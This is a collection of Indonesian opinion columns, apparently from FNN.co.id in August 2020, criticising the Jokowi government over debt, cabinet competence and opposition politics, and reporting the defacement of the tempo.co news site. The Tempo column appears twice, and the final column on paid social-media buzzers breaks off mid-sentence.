"Rajawali Ngepret" itu bukan orang yang gila jabatan. Dia pengamat ekonomi yang tetap kritis dan analisanya hampir tidak pernah meleset. Dia aktivis sejati yang tidak diam walaupun sudah diberikan jabatan empuk oleh Joko Widodo. Di dalam kabinet, RR -- demikian ia disapa -- tetap ngepret, terutama menyangkut reklamasi pantai di Jakarta. Akibatnya, tidak cocok dengan Luhut B Panjaitan yang pro reklamasi. Dia diganti, bukan dipecat. Analisa ekonominya yang tajam sehingga membuat pemerintah gerah tidak hanya dilakukannya sekarang. Di masa Orde Baru juga ia sering mengeluarkan kritik tajam. Keberanian mengkritik rezim Orba tidak lain karena ia aktivis sejati, dan berkawan dengan para aktivis yang menyuarakan kebenaran, termasuk berteman dekat dengan KH Abdurrahman Wahid (Gus Dur). Tidak heran, ketika Gus Dur menjadi Presiden, ia pun diangkat menjadi Menteri Koordinator bidanh Ekonomi, Keuangan dan Industri (Menko Ekuin) kemudian menjadi Menteri Keuangan, serta Kepala Bulog (Badan Urusan Logistik). Ketika pemerintahan Jokowi-JK, ia mengkritisi pembangunan pembangkit listrik 35.000 MW. RR mengatakan, dalam 5 tahun ke depan, Indonesia hanya butuh pembangkit listrik dengan kapasitas total 16.000 megawatt (MW), bukan 35.000 MW. "Kita melihat segala sesuatu dengan faktual dan logis kalau 35.000 MW tercapai 2019, maka pasokan jauh melebihi permintaan, ada idle (kelebihan) 21.000 MW. Di sana ada listrik swasta," jelas Rizal di Jakarta, Senin (7/9/2015). Jika dipaksakan, maka PLN akan bangkrut karena menanggung banyak hal, termasuk utang pokok dan bunga pinjaman luar negeri. Faktanya, sekarang saja PLN sudah hampir bangkrut karena utang. Nah, sejumlah tokoh lain, seperti Ichsanuddin Noorsy, Ahmad Yani, bukanlah pejabat yang dipecat. Tetapi, tidak terpilih lagi menjadi anggota DPR. Khusus Noorsy, ia didepak dari Golkar karena membongkar kasus Bank Bali yang melibatkan Djoko Tjandra buron 11 tahun yang belum lama ini ditangkap. Noorsy didepak dari Golkar karena harus berhadapan dengan tokoh-tokoh kuat di partai tersebut, seperti Baramuli (almarhum), Setia Novanto (yang akhirnya dipenjara dalam kasus E-KTP). Jadi, banyak yang harus dikoreksi jika pemerintahan ini mau berada di jalurnya. Sebab, sudah banyak penyimpangan, tidak sesuai dengan janji-janji kampanye Jokowi-Ma'ruf Amin, pun juga pemerintahan Jokowi-JK lima tahun sebelumnya. Misal, tidak mau menambah utang. Nyatanya, utang bertubi-tubi.Jumlah utang lima tahun pertama Jokowi sudah lebih besar ketimbang 10 tahun pemerintahan Susilo Bambang Yudhoyono. Pembangunan infrastruktur yang bersumber dari utang pun terlalu dipaksakan. Apalagi di masa sekarang, saat pandemi Covid-19 masih berjalan, banyak infrastruktur yang tidak dipakai. KAMI oposisi jalanan Rencana pemindahan ibukota pun tidak pernah hilang dari otak pemerintah. Padahal, sekarang stuasi ekonomi sulit, sudah krisis dan selangkah lagi akan resesi. Banyak yang harus dikoreksi dan dikritisi. Jika terus didiamkan, pemerintah bertindak seenaknya. DPR hanya menjadi pajangan yang harus menuruti kemauan pemerintah. Tidak ada lagi oposisi sejati di DPR. Oleh karena itu, bermunculanlah oposisi jalanan, baik yang dibentuk kalangan intelektual, maupun demo masyarakat yang belakangan hampir tiap pekan terjadi. Oh, ia. Ada satu yang harus dilakukan pemerintah. Segera turunkan harga bahan bakar minyak, baik yang subsidi maupun non subsidi. Kalau BBM subsidi harus dibicarakan dengan DPR okelah bisa lama. Akan tetapi, non subsidi yang katanya harganya mengikuti mekanisme pasar, kok belum turun juga. Bukankah harga minyak di pasar internasional sudah turun cukup lama? Mengapa harga di dalam negeri tidak turun, sedangkan negara lain sudah melakukannya? Ada pertanyaan di masyarakat. Kalau harga minyak dunia naik, pemerintah (baca Pertamina) buru-buru menaikkan harga. Tetapi, kalau harganya turun di pasar dunia, kok harga minyak anteng saja? Saya memperkirakan demo ke depan akan mulai menyasar ke harga BBM ini. Oleh karena itu, pemerintah sengaja mengalihkan isu, seperti isu RUU Omnibus Law tjipta karya dan RUU Haluan Ideologi Pancasila yang diganti menjadi RUU Badan Pembinaan Ideologi Pancasila (BPIP). Jika berbagai persoalan bangsa dan negara tidak digubris pemerintah, maka rakyat akan melawan. Perlawanan terus terjadi dari seluruh negeri. Dan KAMI pasti ikut melawan. ** Penulis adalah Wartawan Senior FNN.CO.ID.

Resufle Bisa Memperbesar Krisis Kabinet

by Dr. Margarito Kamis SH. M.Hum. Jakarta FNN – Sabtu (22/08). Menteri Keuangan Sri Mulyani mengungkapkan sejumlah tantangan dalam serapan anggaran penanganan covid-19 dan Pemulihan Ekonomi Nasional (PEN). Salah satu tantangan yang dihadapi adalah “perubahan kebijakan” dalam tiga bulan terakhir. Selain itu juga “soal orang yang baru menjabat menteri dan tak punya pengalaman birokrasi” (tanda petik dari saya). Beberapa menteri, tulis CNNIndonesia mengutip Sri Mulyani, benar-benar baru menjabat (sebagai menteri). Saya selalu berpikir seandainya semua oran seperti saya, berharap mereka sudah tahu tentang birokrasi, kebijakan, dokumen anggaran. Tapi tidak, beberapa dari mereka benar-benar baru (menjadi menteri), mereka belum pernah bekerja dipemerintahan sebelumnya (CNNIndonesia, 19/8/2020). Merosot Terus Kepingan lain dalam pernyataan Sri MUlyani, menteri keuangan ini, sangat menarik. Pernyataannya nyata-nyata menunjukan, entah apa namanya, dari cabinet ini. Ibu Sri menyatakan lebih jauh menyalurkan dana tersebut tidak semudah menyiram air di toilet. Pasalnya, pemerintah harus bertanggung jawab terhadap penyalurannya melalui audit yang dilakukan oleh Badan Pemeriksa Keuangan. Presiden meminta menyiram dana tersebut kepada masyarakat. Tetapi menyiram dana ke masyarakat ini tidak semudah menyiram air ditoilet. Ketika menyalurkan dana diaudit mengenai siapa target penerimanya, alamatnya. Jadi ini bicara tentang data (CNNIndonesia, 19/8/2020). Cukup jelas pernyataan otoritatif Ibu Menteri ini. Ini Negara. Ada sistem. Ada hukum. Presiden tidak bisa main perintah siram duit kepada rakyat. Tidak bisa. Ada sistem, denghan semua konsekuensi hukumnya. Suka atau tidak, sistem itu mutlak ditaati oleh. Tidak hanya hanya para menteri dan pejabat-pejabatnya, tetapi juga Presiden sendiri. Tidak ada administrasi negara, khususnya subsistem administrasi keuangan negara, yang bisa digerakan dengan perintah verbal. Satu diantara tipikal administrasi negara adalah tindakan administrasi itu memiliki bentuk. Bentuk mesti tetulis. Sistem hukum mengharuskannya begitu. Subsistem adminsitrasi negara dalam tatanan yang sedang dilanda krisis, dalam batas perspektif data tersaji oleh Ibu Sri, sejauh ini tak dirancang dengan meyakinkan. Rincian teknisnya gagal dipetakan. Terciptalah lobang besar kelemahan. Ini tentu semakin menyulitkan menteri yang tidak kompeten. Rumit dan sulitkah untuk memetakan deteilnya? Rasanya tidak. Buktinya Ibu Sri dapat mengidentifikasinya. Nalarnya Presiden, dengan alasan apapun, harus bisa tampil melebihi Ibu Sri. Tetapi itulah kenyataannya. Akibatnya jelas. Pemerintahan jadinya tidak efektif. Praktis kelemahan memetakan detail ini, menambah daftar kelemahan yang sama sebelumnya. Keluhan elemen kecil strategis di BUM mengenai alat impor alat kesehatan. Hal yang sama tercermin dalam implementasi gagasan Kartu Prakerja buat para pengangguran. Gambaran lebih mutakhir terlihat juga pada sikap pemerintah yang menyodorkan perubahan RUU HIP menjadi RUU BPIP. Respon Presiden atas penolakan keras berbagai kalangan terhadap RUU HIP ini, terasa kelewat aneh. Pemerintah memang terus bekerja. Disana sini pemerintah terus bergerak mengusahakan tindakan-tindakan pemerintahan dalam menghadapi corona dan memulihkan ekonomi nasional. Termasuk dalam usaha besar itu adalah menyambut calon vaksin China untuk dikembangkan menjadi vaksin di Indonesia. Kritik menyertainya dari berbagai kalangan. Tetapi pemerintah terus jalan. Oke. Penyakit yang dibawa virus corona ini tidak mengenal negara. Obat juga tak mengenal negara. Tabiatnya sama dengan uang, yang juga tak punya nasionalisme. Tetapi tetap saja keduanya menyediakan perbedaan kecil yang fundamental. Vaksin menyediakan potensi derita bagi mereka menggunakannya. Tentu bila vaksin itu tidak cukup layak menurut standar ilmu kedokteran. Itu yang para dokter ingatkan. Menariknya jauh sebelum kandidat vaksin itu diuji coba, Presiden malah telah memiliki skema waktu untuk produksi. Hebat betul. Dalam isu pemulihan ekonomi, pemerintah memang terus menempatkan diri dengan serangkaian kebijakan. Resentralisasi sejumlah kewenangan ternyata mengundang masalah. Beralasan kebijakan ini justru dinilai oleh beberapa ekonom tak menjanjikan kesuksesan usaha pemulihan ekonomi. Celakanya modal terbesar setiap pemerintahan adalah kepercayaan masyarakat, justru terus merosot. Pembelahan ditengah masyarakat terus melebar. Sayang sekali tak ada seruan menyejukan dari pemerintah mengalir membasahi dahaga persatuan. Itu masalah besar. Lensa Sejarah Apa yang harus dilakukan Presiden? Resufle cabinet? Mengganti sebagian menteri? Ini sepenuhnya hak Presiden. Terserah Presiden. Mau menggunakannya, kapan dan siapa yang dipanggil, terserah Presiden. Ini bukan soal dari segi tata negara. Bung Karno selalu sukses menyudahi permasalahan kabinet sejak kabinet Sjarir pertama, hingga pembentukan kabinet kerja Juanda ditahun 1958. Itu karena Bung Karno ada dan hidup dalam denyut cinta rakyat. Ia begitu hangat terasa disetiap nurani rakyat. Itulah kunci sukses dan kekuatan Bung Karno. Keduanya kunci itu tidak terletak pada hukum. Kekuatannya terletak pada legitimasi. Kecintaan raktyat padanya, menjadi sungai politik yang mengalirkan legitimasi untuk pria yang tampan nan cerdas ini. Tetapi ketika Bung Karno dengan semua hasrat untuk kemuliaan bangsa ini memasuki kekuasaan eksekutif segera setelah tahun 1959, sungai legitimasinya perlahan-lahan mengering. Dari ke waktu air sungai legitimasi terus susut hingga benar-benar mengering. Mirip keadaan sekarang, kehidupan sosial politik begitu antagonisk. Sangat eksplosif. Terlalu banyak pikiran kalangan non pemerintah yang dianggap salah. Kontra revolusi, istilah zaman itu. Sanjungan dan kritik bertalu-talu. Sama intensnya. Benar-benar mirip keadaan sekarang. Sungai legitimasi akhirnya benar-benar mengering menyusul peristiwa pembunuhan para jendral. Dikenal dengan peristiwa G. 30 S PKI. Ditengah sungai legitimasi yang telah mengering, tanggal 24 Februari 1966 Bung Karno sodorkan kabinet Dwikora II. Jelas tak mendapat sambutan. Kabinet ini dirancang sebagai respon Bung Karno terhadap keadaan politik empiris. Itu tercermin, tidak hanya dari jumlah menteri lebih dari 100 orang, dengan 76 Kementerian Portofolio, tetapi lebih dari itu. Ada kementerian Agama. Tetapi untuk menjembatani pemerintah dengan Alim Ulama, Bung Karno ciptakan juga Menteri Hubungan Pemerintah dengan Alim Ulama. Kementerian ini dipimpin oleh Marzuki Yatim. Faktanya kabinet ini tak jalan. Pembaca FNN yang budiman. Legitimasi Bung Karno justru berpndah ke Pak Harto. Itu juga menjadi salah satu faktor terbesar Pak Harto sukses mengemban Supersemar, dan akhirnya membentuk kabinet sendiri. Sukses untuk waktu yang lama, tetapi menjelang pernyataan berhenti sebagai Presiden, sungai legitimasi Pak Harto juga mengering. Pukulan bertubi-tubi pada pengeritiknya, terutama mahasiswa, justru memakan pemerintahannya. Keraguan berbagai kalangan terhadap beberapa anggota kabinet, disepelekan. Sialnya sikap itu disajikan ditengah keadaan ekonomi yang terus memburuk. Mirip betul keadaan sekarang. Apa yang perlu dilakukan Pak Jokowi? Pak Jokowi mungkin harus memanggil para penasihat politiknya. Para penasihat harus jernih menganalisis detail situasi. Keliru memetakan detail situasi, sama dengan memperbesar spektrum krisis pemerintahan ini.* Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Menanti Lahirnya Gerbong-gerbong Oposisi

by Gde Siriana Yusuf Jakarta FNN – Sabtu (22/08). Matinya Demokrasi. Kualitas demokrasi di Indonesia hancur di era rezim Jokowi. Kehancuran demokrasi dapat dilihat dari fakta-fakta tidak lagi efektifnya fungsi kontrol parlemen terhadap eksekutif akibat grand coalition yang diciptakan rezim Jokowi untuk membentuk kabinet. Hanya tersisa partai PKS yang secara teorities dianggap kritis dan obyektif pada pemerintah. Tetapi sangat mungkin, dengan ketidakberdayaan mengimbangi kekuatan parpol pemerintah di parlemen, maka PKS akan bersikap pragmatis-realistis ikut meloloskan semua agenda pemerintah. Keluarnya UU Nomor 2/2020 melengkapi UU Minerba dan Omnibus Law Cipta Kerja adalah bukti yang bahwa parlemen saat ini hanya mewakili kepentingannya sendiri, Tidak mewakili kehendak mayoritas masyarakat. Belum lagi lolosnya kenaikan iuran BPJS disaat masyarakat sedang terpukul ekonominya dan program-program yang kontroversial seperti Kartu Pra Kerja yang berpotensi korupsi dan melanggar prosedur tata kelola pengadaan barang dan jasa. Bukti kuat lainnya adalah tetap dipaksakannya Pilkada serentak di tahun ini. Padahal rakyat sedang membutuhkan bantuan pemerintah untuk bertahan hidup selama Pandemi Covid 19. Meskipun kita belum tahu kapan pandemi akan berakhir mengingat saat ini pertambahan kasus setiap hari menyentuh angka antara 1.500-2.000-an kasus. Disatu sisi pemerintah menambah utang demi menyelamatkan ekonomi dan mengendalikan pandemi covis 19. Tetapi disisi lain menggunakan anggaran untuk Pilkada yang saat ini sebenarnya bukan prioritas. Lebih baik anggaran Pilkada sebesar Rp. 15 triliun digunakan misalnya untuk membantu kebutuhan internet siswa dalam belajar daring. Faktanya hanya kurang dari 20% siswa yang mampu mengikuti belajar daring (Wakil Ketua Komisi X Abdul Fikri Faqih, 4 April). Padahal kewajiban konstitusional pemerintah adalah mencerdaskan anak-anak bangsa. Sedangkan Pilkada adalah agenda Parpol. Sangat mungkin, Jokowi dan parpol tidak memiliki sense of crisis dalam menghadapi pandemi secara total. Sudah menjadi rahasia umum bahwa momen Pilkada adalah masa panen raya Parpol dari mahar tiket para calon kepala daerah. Kepentingan parpol ini selaras dengan kepentingan Jokowi. Hanya untuk menempatkan anak dan mantu Jokowi menjadi orang nomor satu di Solo dan Medan. Walhasil, tidak ada parpol di parlemen yang mengupayakan Pilkada serentak ditunda. Hiruk pikuk yang terjadi di kalangan elit penguasa dan parpol hanya berkisar pada rebutan kursi dan jabatan. Siapa dapat apa. Padahal rakyat mengharapkan terjadi diskursus besar mengenai kehidupan ekonomi rakyat kecil sebagai fundamental ekonomi nasional. Misalnya dikembangkan wacana tentang bagaimana koperasi yang selama ini hanya jadi pemain ekonomi pinggiran, agar bisa naik kelas menjadi korporasi yang mampu mengerjakan proyek-proyek besar pemerintah. Diskursus ini membutuhkan political will rezim agar dapat terwujud nyata. Atau bagaimana keberpihakan negara pada jalur distribusi ritel rakyat, yang kini dikuasai jaringan korporasi dan konglomerasi hingga ke desa-desa. Kenyataan ini juga perlu political will rezim untuk membatasi ekspansi distribusi ritel korporasi masuk ke desa-desa. Gerbong Oposisi Extra Parlementer Menyikapi situasi negara yang carut marut. Negara yang berjalan tanpa arah. Yang tidak sesuai tujuan pada konstitusi, maka lahirlah Koalisi Aksi Menyelamtkan Indonesia (KAMI). Koalisi yang digagas oleh sejumlah tokoh yang prihatin atas nasib rakyat dan masa depan negeri ini. Disambut meriah oleh berbagai elemen masyarakat di penjuru pelosok tanah air, KAMI diharapkan dapat menjadi kekuatan extra parlementer dalam bingkai pembangunan demokrasi di Indonesia. KAMI telah menjadi pelopornya. Menjadi inspirasi bagi masyarakat lainnya yang punya keprihatinan dan perspektif sama untuk bergabung dengan KAMI. Walaupun demikian, KAMI tetap saja terbuka, dan mengilhami masyarakat lainnya untuk membentuk gerbong-gerbong oposisi extra parlemen lainnya. Ini baik bagi penguatan civil society agar masyarakat tetap dapat menjalankan kontrol terhadap pemerintah di saat parlemen tidak lagi efektif. Biarkan gerbong-gerbong oposisi extra parlemen lahir dan tumbuh dari akar masyarakatnya sendiri. Dan tidak perlu saling mengganggu.Saya yakin, kemunculan gerbong-gerbong oposisi ekstra parlemen selain memperkuat civil society, juga akan membawa semangat perubahan. Biarkan semua ide-ide baru yang merupakan anti-tesa dari situasi saat ini disemai secara alamiah hingga menjadi suatu ide besar. Ide yang akan menyatuan semua kepentingan masyarakat. Kepentingan yang sesuai dengan tujuan bernegara. Penulis adalah Direktur Eksekutif Indonesia Future Studies (INFUS)

Peretasan Terhadap Tempo.co “Pembredelan Gaya Baru”

by Tjahja Gunawan Jakarta FNN – Sabtu (22/08). Pada Jumat dini hari, pukul 00.30 WIB, 21 Agustus 2020, situs berita tempo.co dari Tempo Media Group diretas atau cyber attack. Tampilan situs tersebut hilang dan berganti dengan layar hitam bertuliskan kata Hoax berwarna merah. Sebelum peretasan, situs Tempo hanya menampilkan layar putih dengan tulisan Error 403 sejak pukul 00.01. Di dalam layar hitam ini, tertulis "Stop Hoax, Jangan BOHONGI Rakyat Indonesia, Kembali ke etika jurnalistik yang benar patuhi dewan pers. Jangan berdasarkan ORANG yang BAYAR saja. Deface By @xdigeeembok." Ketika diklik, maka akan beralih langsung ke akun twitter @xdigeeembok. Di twitter, sang pemilik akun menuliskan cuitan #KodeEtikJurnalistikHargaMati pada pukul 00.51 WIB. Cuitan pertama ini juga diikuti dengan cuitan kedua bertuliskan, "Malam Jumat ada yg lembur. Mampus... db bye... bye... bye..." Pukul 00.54 WIB, salah seorang netizen merespon cuitan pertama dengan menggunggah tampilan layar yang sudah diretas. Akun @xdigeeembok pun mengomentarinya dengan menuliskan "Peringatan Mesra". Akun @xdigeeembok yang memiliki 465 ribu pengikut ini selama ini menyuarakan dukungannya pada kampanye omnibus law yang sedang digalang pemerintah. Sementara Tempo membuat laporan dengan narasumber sejumlah pesohor yang terlibat dalam aksi penggalangan dukungan omnibus law di media sosial. Menjelang waktu Subuh Hari Jumat (21/8), situs Tempo sudah pulih kembali. Meski cepat teratasi namun peretasan tersebut dikecam Pemimpin Redaksi Tempo.co, Setri Yasra. Dia menganggap aksi ini merupakan salah satu upaya menggangu kerja jurnalistik yang diatur dalam Undang-undang Pers. "Kami mengecam siapapun yang berupaya mengganggu tugas media dalam memenuhi hak publik atas informasi yang relevan dan terpercaya," katanya seperti dikutip dari Tempo.co. Hingga saat ini tidak ada yang mengetahui dengan pasti orang yang berada dibalik peretasan terhadap Tempo. Yang jelas motif peretasan tersebut diduga bertujuan untuk menakut-nakuti media yang kritis terhadap pemerintah. Loh kok nuduh pemerintah melakukan cyber attack terhadap Tempo ? Ya memang yang melakukan bukan pemerintah (cq. Kementerian Komunikasi dan Informatika-Kemeninfo). Tapi peretasan tersebut sangat boleh jadi dilakukan olah ahli IT yang merupakan kepanjangan kepentingan rezim penguasa. Apalagi kalau memperhatikan anggaran yang digelontorkan pemerintah untuk ragam aktivitas digital, jumlahnya sangat besar. Berdasarkan temuan dan kajian Indonesian Corruption Watch (ICW), Sejak 2014 hingga tàhun 2020, pemerintah telah menggelontorkan uang sebesar Rp 1,29 triliun untuk belanja terkait aktivitas digital. Aktivitas digital yang dimaksud ialah paket program pengadaan melalui media sosial, YouTube, maupun menggandeng influencer (baca : buzzeRp). Sebagaimana diungkapkan peneliti ICW, Egi Primayogha, Kamis (20/8/2020) siang, lembaganya telah melakukan penelusuran aktivitas pengadaan barang dan jasa (PBJ) di kementerian dan lembaga pemerintah non-kementerian (LPNK) di masing-masing situs LPSE. Ada total 34 kementerian, lima LPNK, dan dua institusi penegak hukum--Kejaksaan Agung RI dan Kepolisian RI--yang ditelusuri oleh ICW. Dengan demikian, peretasan terhadap situs Tempo tentu tidak berdiri sendiri, terkait dengan kepentingan kekuasaan. Ketika saya tanya kepada seorang teman di Tempo, dia mengaku para pihak yang terlibat dalam aktivitas peretasan itu susah diidentifikasi karena jumlahnya banyak. "Partikelirnya sangat banyak. Kita sampai susah menebak ini permainan siapa," katanya. Di era rezim Orde Baru, pembredelan media dilakukan melalui otoritas Menteri Penerangan. Alasan pembredelan biasanya terkait dengan pemberitaan yang menjurus kepada sesuatu atau banyak hal yang sangat menyinggung penguasa dan atau lapisan masyarakat tertentu. Majalah Berita Mingguan Tempo pernah mengalami pembredelan pada 21 Juni 1994. Selain Tempo, media lain yang dibredel waktu itu Majalah Editor dan Tabloid Detik. Pembredelan tersebut menjadi momentum dan tonggak awal perlawanan memperjuangkan kebebasan pers. Waktu itu pembredelan diumumkan Direktur Jenderal Pembinaan Pers dan Grafika (PPG) Kementerian Penerangan, Subrata, atas nama Menteri Penerangan Harmoko. Pemerintah Orde Baru beralasan pemberitaan Tempo mengenai indikasi korupsi dalam pembelian kapal perang eks Jerman Timur bisa membahayakan stabilitas nasional. Kini zaman dan rezim penguasa sudah berubah, media massa pun sebagian besar sudah beralih ke platform digital. Sistem pemerintahan sudah beralih dari zaman pemerintahan otoriter ke era reformasi dan demokrasi. Demikian pula media massa telah mengalami perpindahan (shifting) yakni dari era media konvensional (cetak) ke dunia digital (online). Meskipun saat ini kita sudah berada di zaman demokrasi dan hidup di era keterbukaan, namun rezim penguasa sekarang berada dibawah cengkraman oligarki politik dan ekonomi. Kini sekelompok taipan pemilik modal mampu mengendalikan birokrasi dan elite kekuasaan di negeri ini. Oleh karena itu, peretasan terhadap Tempo patut diduga terkait dengan laporan tentang RUU Omnibus Law yang saat ini sedang dibahas di DPR. RUU Omnibus Law Cipta Kerja ini ditentang para buruh karena dianggap merugikan kelangsungan kerja mereka di perusahaan. Presiden Konfederasi Serikat Pekerja Indonesi (KSPI) Said Iqbal mengatakan, undang-undang yang mengatur bisnis seharusnya juga mengandung unsur perlindungan. "Draf RUU Omnibus Law ini kebalikannya. Bicara investasi, tapi malah mereduksi kesejahteraan buruh. Bukan perlindungan," kata Iqbal sebagaimana dikutip KataData. Ada sembilan alasan mengapa para buruh menolak keras draft RUU Omnibus Law. Pertama, upah minimum Kabupaten/Kota akan dihilangkan. Kedua, pesangon menurun dan tanpa kepastian. Ketiga, pihak perusahaan bisa seenaknya dalam melakukan PHK. Keempat, tenaga ahli daya semakin bebas. Kelima, penghapusan sanksi pidana perusahaan yang melanggar UU Omnibus Law. Keenam, aturan jam kerja yang eksploitatif. Ketujuh, hilangnya jaminan sosial. Kedelapan, karyawan dikontrak tanpa batas. Kesembilan, penggunaan tenaga kerja asing. Jadi sangat masuk akal jika peretasan ini dipicu oleh laporan Tempo soal RUU Omnibus Law karena kalau sampai RUU ini batal disahkan DPR para taipan pemilik modal akan mengalami kerugian besar. Sepanjang RUU ini belum dicabut nampaknya para buruh akan terus melakukan berbagai aksi demo guna menggedor DPR agar bisa membatalkan RUU tersebut. Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id

Peretasan Terhadap Tempo Pembredelan Gaya Baru?

by Tjahja Gunawan Jakarta FNN - Sabtu (22/7). Pada Jumat dini hari, pukul 00.30 WIB, Jumat 21 Agustus 2020, situs berita tempo.co dari Tempo Media Group diretas atau cyber attack. Tampilan situs tersebut hilang dan berganti dengan layar hitam bertuliskan kata Hoax berwarna merah. Sebelum peretasan, situs Tempo hanya menampilkan layar putih dengan tulisan Error 403 sejak pukul 00.01. Di dalam layar hitam ini, tertulis "Stop Hoax, Jangan BOHONGI Rakyat Indonesia, Kembali ke etika jurnalistik yang benar patuhi dewan pers. Jangan berdasarkan ORANG yang BAYAR saja. Deface By @xdigeeembok." Ketika diklik, maka akan beralih langsung ke akun twitter @xdigeeembok. Di twitter, sang pemilik akun menuliskan cuitan #KodeEtikJurnalistikHargaMati pada pukul 00.51 WIB. Cuitan pertama ini juga diikuti dengan cuitan kedua bertuliskan, "Malam Jumat ada yg lembur. Mampus... db bye... bye... bye..." Pukul 00.54 WIB, salah seorang netizen merespon cuitan pertama dengan menggunggah tampilan layar yang sudah diretas. Akun @xdigeeembok pun mengomentarinya dengan menuliskan "Peringatan Mesra". Akun @xdigeeembok yang memiliki 465 ribu pengikut ini selama ini menyuarakan dukungannya pada kampanye omnibus law yang sedang digalang pemerintah. Sementara Tempo sendiri membuat laporan dengan narasumber sejumlah pesohor yang terlibat dalam aksi penggalangan dukungan omnibus law di media sosial. Menjelang waktu Subuh Hari Jumat (21/8), situs Tempo sudah pulih kembali. Meski cepat teratasi namun peretasan tersebut dikecam Pemimpin Redaksi Tempo.co, Setri Yasra. Dia menganggap aksi ini merupakan salah satu upaya menggangu kerja jurnalistik yang diatur dalam Undang-undang Pers. "Kami mengecam siapapun yang berupaya mengganggu tugas media dalam memenuhi hak publik atas informasi yang relevan dan terpercaya," katanya seperti dikutip dari Tempo.co. Hingga saat ini tidak ada yang mengetahui dengan pasti orang yang berada dibalik peretasan terhadap Tempo. Yang jelas motif peretasan tersebut diduga bertujuan untuk menakut-nakuti media yang kritis terhadap pemerintah. Loh kok nuduh pemerintah melakukan cyber attack terhadap Tempo ? Ya memang yang melakukan bukan pemerintah (cq. Kementerian Komunikasi dan.Informatika-Kemeninfo). Tapi peretasan tereebut sangat boleh jadi dilakukan olah ahli IT yang merupakan kepanjangan kepentingan rezim penguasa. Apalagi kalau memperhatikan anggaran yang digelontorkan pemerintah untuk ragam aktivitas digital, jumlahnya sangat besar. Berdasarkan temuan dan kajian Indonesian Corruption Watch (ICW), Sejak 2014 hingga tàhun 2020, pemerintah telah menggelontorkan uang sebesar Rp 1,29 triliun untuk belanja terkait aktivitas digital. Aktivitas digital yang dimaksud ialah paket program pengadaan melalui media sosial, YouTube, maupun menggandeng influencer (baca : buzzeRp). Sebagaimana diungkapkan peneliti ICW, Egi Primayogha, Kamis (20/8/2020) siang, lembaganya telah melakukan penelusuran aktivitas pengadaan barang dan jasa (PBJ) di kementerian dan lembaga pemerintah non-kementerian (LPNK) di masing-masing situs LPSE. Ada total 34 kementerian, lima LPNK, dan dua institusi penegak hukum--Kejaksaan Agung RI dan Kepolisian RI--yang ditelusuri oleh ICW. Dengan demikian, peretasan terhadap situs Tempo tentu tidak berdiri sendiri, terkait dengan kepentingan kekuasaan. Ketika saya tanya kepada seorang teman di Tempo, dia mengaku para pihak yang terlibat dalam aktivitas peretasan itu susah diidentifikasi karena jumlahnya banyak. "Partikelirnya sangat banyak. Kita sampai susah menebak ini permainan siapa," katanya. Di era rezim Orde Baru, pembredelan media dilakukan melalui otoritas Menteri Penerangan. Alasan pembredelan biasanya terkait dengan pemberitaan yang menjurus kepada sesuatu atau banyak hal yang sangat menyinggung penguasa dan atau lapisan masyarakat tertentu. Majalah Berita Mingguan Tempo pernah mengalami pembredelan pada 21 Juni 1994. Selain Tempo, media lain yang dibredel waktu itu Majalah Editor dan Tabloid Detik. Pembredelan tersebut menjadi momentum dan tonggak awal perlawanan memperjuangkan kebebasan pers. Waktu itu pembredelan diumumkan Direktur Jenderal Pembinaan Pers dan Grafika (PPG) Kementerian Penerangan, Subrata, atas nama Menteri Penerangan Harmoko. Pemerintah Orde Baru beralasan pemberitaan Tempo mengenai indikasi korupsi dalam pembelian kapal perang eks Jerman Timur bisa membahayakan stabilitas nasional. Kini zaman dan rezim penguasa sudah berubah, media massa pun sebagian besar sudah beralih ke platform digital. Sistem pemerintahan sudah beralih dari zaman pemerintahan otoriter ke era reformasi dan demokrasi. Demikian pula media massa telah mengalami perpindahan (shifting) yakni dari era media konvensional (cetak) ke dunia digital (online). Meskipun saat ini kita sudah berada di zaman demokrasi dan hidup di era keterbukaan, namun rezim penguasa sekarang berada dibawah cengkraman oligarki politik dan ekonomi. Kini sekelompok taipan pemilik modal mampu mengendalikan birokrasi dan elite kekuasaan di negeri ini. Oleh karena itu, peretasan terhadap Tempo patut diduga terkait dengan laporan tentang RUU Omnibus Law yang saat ini sedang dibahas di DPR. RUU Omnibus Law Cipta Kerja ini ditentang para buruh karena dianggap merugikan kelangsungan kerja mereka di perusahaan. Presiden Konfederasi Serikat Pekerja Indonesi (KSPI) Said Iqbal mengatakan, undang-undang yang mengatur bisnis seharusnya juga mengandung unsur perlindungan. "Draf RUU Omnibus Law ini kebalikannya, bicara investasi, tapi malah mereduksi kesejahteraan buruh, bukan perlindungan," kata Iqbal sebagaimana dikutip KataData. Ada 9 alasan mengapa para buruh menolak keras draft RUU Omnibus Law. Pertama, upah minimum Kabupaten/Kota akan dihilangkan. Kedua, pesangon menurun dan tanpa kepastian. Ketiga, pihak perusahaan bisa seenaknya dalam melakukan PHK. Keempat, tenaga ahli daya semakin bebas. Kelima, penghapusan sanksi pidana perusahaan yang melanggar UU Omnibus Law. Keenam, aturan jam kerja yang eksploitatif. Ketujuh, hilangnya jaminan sosial. Kedelapan, karyawan dikontrak tanpa batas. Kesembilan, penggunaan tenaga kerja asing. Jadi sangat masuk akal jika peretasan ini dipicu oleh laporan Tempo soal RUU Omnibus Law karena kalau sampai RUU ini batal disahkan DPR para taipan pemilik modal akan mengalami kerugian besar. Sepanjang RUU ini belum dicabut nampaknya para buruh akan terus melakukan berbagai aksi demo guna menggedor DPR agar bisa membatalkan RUU tersebut. Wallohu a'lam bhisawab. Penulis adalah wartawan senior.

Rezim Buzzer Dan Rezim Keblinger

by Edy Mulyadi Jakarta FNN – Jum’at (21/08). Temuan ICW menyebut bahwa pemerintah dalam rentang 2014-2020 mengalokasikan dana hingga Rp1,1 triliun untuk promo di media sosial (medsos). Dari jumlah tersebut, Polri yang mencdapatkan porsi terbanyak, mencapai Rp937 miliar. Temuan ICW juga menyebut ada anggaran sebesar Rp90,45 miliar untuk membayar para influencer. Bukan mustahil juga ada alokasi dana untuk para BuzzeRp yang terbukti telah berhasil memecah belah anak-anak bangsa. Menciptakan pengelompokan di masyarakat. ICW ini sekali lagi membuktikan bahwa pemerintah telah menggunakan cara-cara yang tidak terhormat dan amburadul. Pemerintah menghalalkan segala cara untuk membungkam oposisi dan kelompok civil society yang kritis kepada kekuasaan. Padahal ciri negara demokrasi adalah kuatnya civil society yang selalu mengkritisi pemerintah. Kecuali kita sepakat menerapkan kekuasaan otoriter. Tugas utama BuzzeRp adalah memuja-muji majikan yang membayar mereka. Tugas tamnahan lainnya adalah menghancurkan karakter orang atau pihak-pihak yang dianggap 